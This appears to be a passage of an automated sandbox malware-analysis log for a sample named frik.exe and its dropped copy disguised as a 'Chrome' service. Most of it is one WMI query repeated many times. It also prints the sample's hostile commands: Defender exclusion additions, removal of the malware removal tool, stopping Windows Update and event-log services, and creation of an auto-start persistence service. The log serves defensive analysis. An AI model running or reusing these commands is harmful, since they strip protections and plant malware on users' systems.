      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
      Source: C:\Users\user\Desktop\frik.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: C:\Users\user\Desktop\frik.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\ProgramData\Chrome.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: frik.exeReversingLabs: Detection: 76%
      Source: C:\Users\user\Desktop\frik.exeFile read: C:\Users\user\Desktop\frik.exeJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\frik.exe "C:\Users\user\Desktop\frik.exe"
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "Chrome"
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "Chrome" binpath= "C:\ProgramData\Chrome.exe" start= "auto"
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "Chrome"
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: unknownProcess created: C:\ProgramData\Chrome.exe C:\ProgramData\Chrome.exe
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
      Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\explorer.exe explorer.exe
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvcJump to behavior
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvcJump to behavior
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauservJump to behavior
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bitsJump to behavior
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvcJump to behavior
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "Chrome"Jump to behavior
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "Chrome" binpath= "C:\ProgramData\Chrome.exe" start= "auto"Jump to behavior
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlogJump to behavior
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "Chrome"Jump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvcJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvcJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauservJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bitsJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvcJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
      Source: C:\ProgramData\Chrome.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
      Source: C:\Users\user\Desktop\frik.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
      Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
      Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\ProgramData\Chrome.exeSection loaded: apphelp.dllJump to behavior
